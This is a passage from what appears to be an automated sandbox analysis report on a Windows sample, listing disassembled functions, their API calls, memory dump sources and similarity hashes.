                                      • GetDC.USER32(00000000), ref: 009308CB
                                      • GetPixel.GDI32(00000000,?,00000003), ref: 009308D7
                                      • ReleaseDC.USER32(00000000,00000003), ref: 0093090F
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Window$ForegroundPixelRelease
                                      • String ID:
                                      • API String ID: 4156661090-0
                                      • Opcode ID: 4152cda81af0fe587b0516c1c5e6033d587e16de35bb1b7be6dfdf22ee6acbf0
                                      • Instruction ID: 95a05a58570ce5990be6ecc2dfbe63d9d100759fc7c464c82e538e977d446bc6
                                      • Opcode Fuzzy Hash: 4152cda81af0fe587b0516c1c5e6033d587e16de35bb1b7be6dfdf22ee6acbf0
                                      • Instruction Fuzzy Hash: 9C216F79600214EFD714EF69D895EAE77E5FF89700F008438E84AD7752CA30AC04DB90
                                      Function 008CAD90 Relevance: 7.6, APIs: 5, Instructions: 69COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetSysColor.USER32(00000008), ref: 008CAD4C
                                      • SetTextColor.GDI32(?,?), ref: 008CAD56
                                      • SetBkMode.GDI32(?,00000001), ref: 008CAD69
                                      • GetStockObject.GDI32(00000005), ref: 008CAD71
                                      • GetWindowLongW.USER32(?,000000EB), ref: 008CADD2
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Color$LongModeObjectStockTextWindow
                                      • String ID:
                                      • API String ID: 1860813098-0
                                      • Opcode ID: 145735444a12fd0a17d06a2f467062e9616545554d5597a8d5bcab2a9b7b4784
                                      • Instruction ID: 8da41a010b4ae16030279003823f8469be21543e9d23ecb8cfe6894f12761253
                                      • Opcode Fuzzy Hash: 145735444a12fd0a17d06a2f467062e9616545554d5597a8d5bcab2a9b7b4784
                                      • Instruction Fuzzy Hash: 8A21263155E244AFC7164F24FC14FAA3B70EF1736AB14425DF2A28A1A1C7355882CB52
                                      Function 008ECD5D Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetEnvironmentStringsW.KERNEL32 ref: 008ECD66
                                      • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 008ECD89
                                        • Part of subcall function 008E37B0: RtlAllocateHeap.NTDLL(00000000,?,00000001), ref: 008E37E2
                                      • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 008ECDAF
                                      • _free.LIBCMT ref: 008ECDC2
                                      • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 008ECDD1
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                      • String ID:
                                      • API String ID: 336800556-0
                                      • Opcode ID: 063e0897a24728b387a0212ead616cd2e2b9ee9b07493333681adb66e40944cb
                                      • Instruction ID: 8f8623744e31c42dfdda28537ead51b65fb687ecf825228a79e5cd749d7bede9
                                      • Opcode Fuzzy Hash: 063e0897a24728b387a0212ead616cd2e2b9ee9b07493333681adb66e40944cb
                                      • Instruction Fuzzy Hash: D30184B7B066997F67211A7B5C8CC7B6D6DFEC7BA13150139FD05C2201DE628C0291B1
                                      Function 008CAABF Relevance: 7.6, APIs: 5, Instructions: 66COMMON
                                      Download Yara Rule
                                      APIs
                                      • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 008CAB19
                                      • SelectObject.GDI32(?,00000000), ref: 008CAB28
                                      • BeginPath.GDI32(?), ref: 008CAB3F
                                      • SelectObject.GDI32(?,00000000), ref: 008CAB68
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ObjectSelect$BeginCreatePath
                                      • String ID:
                                      • API String ID: 3225163088-0
                                      • Opcode ID: d540ce648cf77fde10bac9c29cd63c4c4663ba3cdb385d1468a7f21c35adc668
                                      • Instruction ID: 6ad77bb78f56de6419438f0ddd53a2623b3175201777a9f038450b2a68bb771b
                                      • Opcode Fuzzy Hash: d540ce648cf77fde10bac9c29cd63c4c4663ba3cdb385d1468a7f21c35adc668
                                      • Instruction Fuzzy Hash: CF217F7182A208EFDB158F64ED14FA97B7DFB01769F104219F411E62E0D3719C92EB91
                                      Function 00915667 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                      Download Yara Rule
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _memcmp
                                      • String ID:
                                      • API String ID: 2931989736-0
                                      • Opcode ID: fedb6b5d7e3e51b678ff39c189604ae233134f99ab6d2e870393bec38fe0c3fd
                                      • Instruction ID: 3e6434e62d8f518c487691505da3941e0a977c7af9b709273239d38130f91bee
                                      • Opcode Fuzzy Hash: fedb6b5d7e3e51b678ff39c189604ae233134f99ab6d2e870393bec38fe0c3fd
                                      • Instruction Fuzzy Hash: A0012262740A0EBBE60466149C92FEB335CEEA13DCF534021FD0486301E6A8AD4082E1
                                      Function 008E2D88 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      • GetLastError.KERNEL32(?,?,?,008DF26E,008E37F3,00000001,?,008CFD75,?,?,008BB63D,00000000,?,?,?,0092106C), ref: 008E2D8D
                                      • _free.LIBCMT ref: 008E2DC2
                                      • _free.LIBCMT ref: 008E2DE9
                                      • SetLastError.KERNEL32(00000000), ref: 008E2DF6
                                      • SetLastError.KERNEL32(00000000), ref: 008E2DFF
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ErrorLast$_free
                                      • String ID:
                                      • API String ID: 3170660625-0
                                      • Opcode ID: 8e9878636614fbdc585f431fb5c147ca9c1a7c1f437741526b963474e055becf
                                      • Instruction ID: 141c270ef6f0de25f6f8e2b6aaaa2329f10f537901f3444dcbc982c378dd93e7
                                      • Opcode Fuzzy Hash: 8e9878636614fbdc585f431fb5c147ca9c1a7c1f437741526b963474e055becf
                                      • Instruction Fuzzy Hash: 1801F47634A6997BD2122B3B6C4AE2B265DFBC37B47204128F515E2293EE348C026221
                                      Function 0091E899 Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON
                                      Download Yara Rule
                                      APIs
                                      • QueryPerformanceCounter.KERNEL32(?), ref: 0091E8B5
                                      • QueryPerformanceFrequency.KERNEL32(?), ref: 0091E8C3
                                      • Sleep.KERNEL32(00000000), ref: 0091E8CB
                                      • QueryPerformanceCounter.KERNEL32(?), ref: 0091E8D5
                                      • Sleep.KERNEL32 ref: 0091E911
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: PerformanceQuery$CounterSleep$Frequency
                                      • String ID:
                                      • API String ID: 2833360925-0
                                      • Opcode ID: 4114e0c4f3943647eacc367688b8a470530ea3db7c00d3f9dea75abcc507b9f1
                                      • Instruction ID: faef1a570341115822d4eada8983634cfbc3765181348e35d1bf219b0da319ba
                                      • Opcode Fuzzy Hash: 4114e0c4f3943647eacc367688b8a470530ea3db7c00d3f9dea75abcc507b9f1
                                      • Instruction Fuzzy Hash: 52016975E1961EDFCF40AFA4DC48AEDBB78FB0E311F010896E912B2151CB3096909BA1
                                      Function 0091103D Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00911058
                                      • GetLastError.KERNEL32(?,00000000,00000000,?,?,00910ADF,?,?,?), ref: 00911064
                                      • GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00910ADF,?,?,?), ref: 00911073
                                      • RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 0091107A
                                      • GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00911091
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: HeapObjectSecurityUser$AllocateErrorLastProcess
                                      • String ID:
                                      • API String ID: 883493501-0
                                      • Opcode ID: c3638b0b0606294383430c0f06adc49dcbd421c7e994b84b4429227520ce42e0
                                      • Instruction ID: 39d68f5b40d3e3f8ec13868ccc0e92d48cea41ad188566b643ba80c9186af608
                                      • Opcode Fuzzy Hash: c3638b0b0606294383430c0f06adc49dcbd421c7e994b84b4429227520ce42e0
                                      • Instruction Fuzzy Hash: EC0181B9615309BFDB114FA5DC48DAB3B6DEF8A364B100414F945C7260DB31DC409A60
                                      Function 00910EF8 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00910F0E
                                      • GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00910F1A
                                      • GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00910F29
                                      • RtlAllocateHeap.NTDLL(00000000,?,00000002), ref: 00910F30
                                      • GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00910F46
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: HeapInformationToken$AllocateErrorLastProcess
                                      • String ID:
                                      • API String ID: 47921759-0
                                      • Opcode ID: 8bcbdd8079e859d2f6fc75fb9c8c4735a7329da225a6cce5674f7e90b50f3919
                                      • Instruction ID: 6515bb2d6109edb4b60a9dbbb06e77b2780be383f3b199dc92d6c369440295b2
                                      • Opcode Fuzzy Hash: 8bcbdd8079e859d2f6fc75fb9c8c4735a7329da225a6cce5674f7e90b50f3919
                                      • Instruction Fuzzy Hash: 8CF06279219305AFDB214FA5DC4EF963B6EEF8A760F104414F949C7251CA71DC819A60
                                      Function 00910F58 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00910F6E
                                      • GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00910F7A
                                      • GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00910F89
                                      • RtlAllocateHeap.NTDLL(00000000,?,TokenIntegrityLevel), ref: 00910F90
                                      • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00910FA6
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: HeapInformationToken$AllocateErrorLastProcess
                                      • String ID:
                                      • API String ID: 47921759-0
                                      • Opcode ID: 2db2623391da58d2ca057100c2957d4916e3daa10379c150ada0d0680045c016
                                      • Instruction ID: 71913b5e8ceb08927a1447b45f1e43bc3d434e9b80ebbc747cc83034be0b8fbc
                                      • Opcode Fuzzy Hash: 2db2623391da58d2ca057100c2957d4916e3daa10379c150ada0d0680045c016
                                      • Instruction Fuzzy Hash: A2F06DB9216309AFDB214FA4EC49F963BAEFF8A760F110414FA45C7290CA71D8919A60
                                      Function 0092022D Relevance: 7.5, APIs: 6, Instructions: 41COMMON
                                      Download Yara Rule
                                      APIs
                                      • CloseHandle.KERNEL32(?,?,?,?,0092009B,?,0092321A,?,00000001,008F311E,?), ref: 00920242
                                      • CloseHandle.KERNEL32(?,?,?,?,0092009B,?,0092321A,?,00000001,008F311E,?), ref: 0092024F
                                      • CloseHandle.KERNEL32(?,?,?,?,0092009B,?,0092321A,?,00000001,008F311E,?), ref: 0092025C
                                      • CloseHandle.KERNEL32(?,?,?,?,0092009B,?,0092321A,?,00000001,008F311E,?), ref: 00920269
                                      • CloseHandle.KERNEL32(?,?,?,?,0092009B,?,0092321A,?,00000001,008F311E,?), ref: 00920276
                                      • CloseHandle.KERNEL32(?,?,?,?,0092009B,?,0092321A,?,00000001,008F311E,?), ref: 00920283
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CloseHandle
                                      • String ID:
                                      • API String ID: 2962429428-0
                                      • Opcode ID: 9ad97550e8e9b86390e5a121cd5800033adbfd170c646a654617710a6e544c1d
                                      • Instruction ID: 453d8913c297e631c13b6e4b97ff2506d4dcd3c8a1db9de609dbc69c8bc34d9f
                                      • Opcode Fuzzy Hash: 9ad97550e8e9b86390e5a121cd5800033adbfd170c646a654617710a6e544c1d
                                      • Instruction Fuzzy Hash: 3F01C471801B25DFCB319F66E880416FBF9BF903153158A3FD1A651932C3B0A948DF80
                                      Function 008ED6DA Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      • _free.LIBCMT ref: 008ED6F2
                                        • Part of subcall function 008E2958: RtlFreeHeap.NTDLL(00000000,00000000,?,008ED771,00000000,00000000,00000000,00000000,?,008ED798,00000000,00000007,00000000,?,008EDB95,00000000), ref: 008E296E
                                        • Part of subcall function 008E2958: GetLastError.KERNEL32(00000000,?,008ED771,00000000,00000000,00000000,00000000,?,008ED798,00000000,00000007,00000000,?,008EDB95,00000000,00000000), ref: 008E2980
                                      • _free.LIBCMT ref: 008ED704
                                      • _free.LIBCMT ref: 008ED716
                                      • _free.LIBCMT ref: 008ED728
                                      • _free.LIBCMT ref: 008ED73A
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _free$ErrorFreeHeapLast
                                      • String ID:
                                      • API String ID: 776569668-0
                                      • Opcode ID: 65d17a3b92325f88c1cf7ecf2ef95eae1675e18a8a0a096b2cc56f46f8959e11
                                      • Instruction ID: 999327221ed804c6835506ecf75bca1c3001028a9f1c01ca5e09419bb5013568
                                      • Opcode Fuzzy Hash: 65d17a3b92325f88c1cf7ecf2ef95eae1675e18a8a0a096b2cc56f46f8959e11
                                      • Instruction Fuzzy Hash: 9AF03C72648389AB8624EB5EF8C5C1A77DDFB46310B941809F04CE7542CB24FCC04665
                                      Function 00915B9A Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetDlgItem.USER32(?,000003E9), ref: 00915BAE
                                      • GetWindowTextW.USER32(00000000,?,00000100), ref: 00915BC5
                                      • MessageBeep.USER32(00000000), ref: 00915BDD
                                      • KillTimer.USER32(?,0000040A), ref: 00915BF9
                                      • EndDialog.USER32(?,00000001), ref: 00915C13
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: BeepDialogItemKillMessageTextTimerWindow
                                      • String ID:
                                      • API String ID: 3741023627-0
                                      • Opcode ID: 81a79292b2a1a6fb1e94425107a836ea1d2018e87da577ab4d7109b7d159a8c5
                                      • Instruction ID: b210ffa751055bd20b9ff45eecd306b5161ca02e8e1817e01b28e7cab0049389
                                      • Opcode Fuzzy Hash: 81a79292b2a1a6fb1e94425107a836ea1d2018e87da577ab4d7109b7d159a8c5
                                      • Instruction Fuzzy Hash: 0801AD74619709EBEB205B10DD8EFDA77B8FB01706F064559A183A00E1EBF4A9C49A80
                                      Function 008E2230 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                      Download Yara Rule
                                      APIs
                                      • _free.LIBCMT ref: 008E224E
                                        • Part of subcall function 008E2958: RtlFreeHeap.NTDLL(00000000,00000000,?,008ED771,00000000,00000000,00000000,00000000,?,008ED798,00000000,00000007,00000000,?,008EDB95,00000000), ref: 008E296E
                                        • Part of subcall function 008E2958: GetLastError.KERNEL32(00000000,?,008ED771,00000000,00000000,00000000,00000000,?,008ED798,00000000,00000007,00000000,?,008EDB95,00000000,00000000), ref: 008E2980
                                      • _free.LIBCMT ref: 008E2260
                                      • _free.LIBCMT ref: 008E2273
                                      • _free.LIBCMT ref: 008E2284
                                      • _free.LIBCMT ref: 008E2295
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _free$ErrorFreeHeapLast
                                      • String ID:
                                      • API String ID: 776569668-0
                                      • Opcode ID: 072a845cbc5991d821d842585d9d47b19a2ad8868ab931448b979a0689374bc8
